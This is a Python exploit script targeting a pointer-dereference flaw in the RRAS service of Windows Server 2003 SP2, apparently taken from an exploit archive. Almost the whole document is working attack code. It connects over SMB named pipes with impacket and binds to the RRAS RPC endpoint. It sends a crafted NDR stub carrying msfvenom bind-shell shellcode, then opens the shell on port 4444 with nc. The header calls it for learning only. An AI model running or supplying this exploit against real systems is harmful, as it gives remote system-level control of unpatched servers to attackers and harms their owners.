Microsoft Windows 2003 SP2 RRAS SMB Remote Code Execution

`#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
#Tested in Windows Server 2003 SP2 (ES) - Only works when RRAS service is enabled.  
  
#The exploited vulnerability is an arbitraty pointer deference affecting the dwVarID field of the MIB_OPAQUE_QUERY structure.  
#dwVarID (sent by the client) is used as a pointer to an array of functions. The application doest not check if the pointer is #pointing out of the bounds of the array so is possible to jump to specific portions of memory achieving remote code execution.  
#Microsoft has not released a patch for Windows Server 2003 so consider to disable the RRAS service if you are still using   
#Windows Server 2003.  
  
#Exploit created by: VActor Portal  
#For learning purpose only  
  
import struct  
import sys  
import time  
import os  
  
from threading import Thread   
  
from impacket import smb  
from impacket import uuid  
from impacket import dcerpc  
from impacket.dcerpc.v5 import transport  
  
target = sys.argv[1]  
  
print '[-]Initiating connection'  
trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)  
trans.connect()  
  
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % target  
dce = trans.DCERPC_class(trans)  
  
#RRAS DCE-RPC endpoint  
dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0')))  
  
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00" -f python  
buf = ""  
buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33"  
buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc"  
buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8"  
buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f"  
buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35"  
buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43"  
buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f"  
buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01"  
buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6"  
buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff"  
buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2"  
buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9"  
buf += "\xb2\x98\x03\x82\x5f\xcc\x39\xc9\x37\x21\x70\xf1\xc7"  
buf += "\x2d\x03\x82\xf5\xf2\xbf\x0c\xb6\x7b\x66\xcb\xb9\x51"  
buf += "\xde\x43\x44\x5a\x1f\x4a\x83\x0e\x4f\xe4\x22\x2f\x04"  
buf += "\xf4\xcb\xfa\xb1\xfc\x6a\x55\xa4\x01\xcc\x05\x68\xa9"  
buf += "\xa5\x4f\x67\x96\xd6\x6f\xad\xbf\x7f\x92\x4e\xae\x23"  
buf += "\x1b\xa8\xba\xcb\x4d\x62\x52\x2e\xaa\xbb\xc5\x51\x98"  
buf += "\x93\x61\x19\xca\x24\x8e\x9a\xd8\x02\x18\x11\x0f\x97"  
buf += "\x39\x26\x1a\xbf\x2e\xb1\xd0\x2e\x1d\x23\xe4\x7a\xf5"  
buf += "\xc0\x77\xe1\x05\x8e\x6b\xbe\x52\xc7\x5a\xb7\x36\xf5"  
buf += "\xc5\x61\x24\x04\x93\x4a\xec\xd3\x60\x54\xed\x96\xdd"  
buf += "\x72\xfd\x6e\xdd\x3e\xa9\x3e\x88\xe8\x07\xf9\x62\x5b"  
buf += "\xf1\x53\xd8\x35\x95\x22\x12\x86\xe3\x2a\x7f\x70\x0b"  
buf += "\x9a\xd6\xc5\x34\x13\xbf\xc1\x4d\x49\x5f\x2d\x84\xc9"  
buf += "\x6f\x64\x84\x78\xf8\x21\x5d\x39\x65\xd2\x88\x7e\x90"  
buf += "\x51\x38\xff\x67\x49\x49\xfa\x2c\xcd\xa2\x76\x3c\xb8"  
buf += "\xc4\x25\x3d\xe9"  
  
#NDR format  
stub = "\x21\x00\x00\x00" #dwPid = PID_IP (IPv4)  
stub += "\x10\x27\x00\x00" #dwRoutingPID  
stub += "\xa4\x86\x01\x00" #dwMibInEntrySize   
stub += "\x41"*4 #_MIB_OPAQUE_QUERY pointer  
stub += "\x04\x00\x00\x00" #dwVarID (_MIB_OPAQUE_QUERY)  
stub += "\x41"*4 #rgdwVarIndex (_MIB_OPAQUE_QUERY)  
stub += "\xa4\x86\x01\x00" #dwMibOutEntrySize   
stub += "\xad\x0b\x2d\x06" #dwVarID ECX (CALL off_64389048[ECX*4]) -> p2p JMP EAX #dwVarID (_MIB_OPAQUE_QUERY)  
stub += "\xd0\xba\x61\x41\x41" + "\x90"*5 + buf + "\x41"*(100000-10-len(buf)) #rgdwVarIndex (_MIB_OPAQUE_QUERY)  
stub += "\x04\x00\x00\x00" #dwId (_MIB_OPAQUE_INFO)  
stub += "\x41"*4 #ullAlign (_MIB_OPAQUE_INFO)  
  
  
dce.call(0x1e, stub) #0x1d MIBEntryGetFirst (other RPC calls are also affected)  
print "[-]Exploit sent to target successfully..."  
  
print "Waiting for shell..."  
time.sleep(5)  
os.system("nc " + target + " 4444")  
  
  
`